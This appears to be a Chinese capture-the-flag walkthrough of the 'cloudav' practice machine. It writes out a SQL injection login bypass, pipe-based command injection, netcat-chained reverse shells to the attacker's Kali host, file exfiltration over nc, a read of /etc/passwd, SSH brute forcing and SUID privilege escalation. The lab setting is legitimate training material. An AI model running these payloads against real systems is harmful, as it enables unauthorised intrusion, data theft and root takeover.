每日打靶练习--靶场:cloudav(超级详细版)
0x00部署
靶机下载地址:下载地址
宿主机:kali2022
如果找不到靶机ip,网络配置可参考:kali与靶机网络配置问题
0x01信息收集
1.主机发现
通过对于结果判断151为靶机ip
2.端口扫描
发现开放了22-ssh和8080-http服务
3.信息收集(版本服务)
0x02web渗透
1.登录8080端口
观察到这是一个登录界面:没有密码所以我们可以由两个思路进行。1.sql注入;2.暴力破解
1.1sql注入
寻找注入点,这里也可以利用burp对键盘上的符号进行payload,看是否存在结果不一样的界面,
当符号为"时,发现页面状态与其他不同,查看页面,得到一些信息:
select * from code where pw="' + pw + '"
观察信息中的闭合,符号是",构造一个万能密码尝试绕过:
" or 1=1--
进入scan页面
观察这里登录后应该是执行了ls -l命令
1.2暴力破解
通过burp进行截断,再发送到intruder中,在/usr/share/wordlists/中使用一个简单地字典进行爆破即可。
2.命令执行
观察页面可以推断业务逻辑:利用输入文件名进行扫描,尝试是否可使用管道来验证可能存在的命令执行漏洞:
hello | ls
检查靶机系统是否有nc
2.1反弹shell
kali端开启4444端口侦听,靶机nc进行连接,成功,尝试将靶机端shell发送过去
nc -e失败,可能因为版本问题,有的执行不了-e指令,这里使用一些技巧:nc串联
2.2NC串联
通过管道将3333端口输入的结果使用/bin/bash执行,并将结果通过管道传给4444端口
hello | nc kaliip 3333| /bin/bash| nc kaliip 4444
$ nc -nvlp 3333
$ nc -nvlp 4444
执行ls -l发现一个sqlite的sql文件,使用sqlite执行,发现靶机中没有sqlite,通过nc发送至kali中执行:
$ nc -nvlp 6666 > db.sql
nc kaliip 6666 < database.sql
kali端进入到sqlite中
sqlite>.open db.sql
sqlite>.database
sqlite>.dump
得到一串类似密码的字符串----》想到ssh----》查看/etc/passwd中的系统用户并能使用/bin/bash权限的。
cat /etc/passwd | grep /bin/bash
4.密码爆破
将上边的用户名密码分别存储为user.txt和pd.txt,进行ssh密码爆破:
改变思路,说明这个地方利用不到maybe,继续检查靶机shell端的目录文件并在上层目录中找到一个更新文件以及源代码:
为什么注意这里,因为通过查看文件的权限可知:
-rwsr-xr-x,root ,其中的s代表具有suid权限标记位,同时其属主为root账号,凡是拥有suid的可执行程序,只要执行就可以继承属主的权限,即root权限。
尝试:执行程序,通过命令执行来利用suid权限标记位来利用root权限执行系统命令(nc 反弹shell–》root权限的)达到提权目标
5.代码审计
查看一下源代码:
freshclam用于给病毒库升级
定义了执行参数argc,若执行中不包含执行参数,则会显示信息,所以尝试命令:
./update_cloudav a
返回报错结果,继续尝试
6.NC串联
再利用nc串联,将“内容”作为指令执行,开启5555,6666端口,进行bash的反弹。
7.本地提权(SUID提权)
kali侦听5555和6666,收到连接信息,输入指令id,已经为root用户权限,完成提权。
0x03总结
这里主要注意的就是如何利用suid提权的思路,同时对于nc串联的掌握,还有在sqlite中的指令,如何查看表,继续加以练习。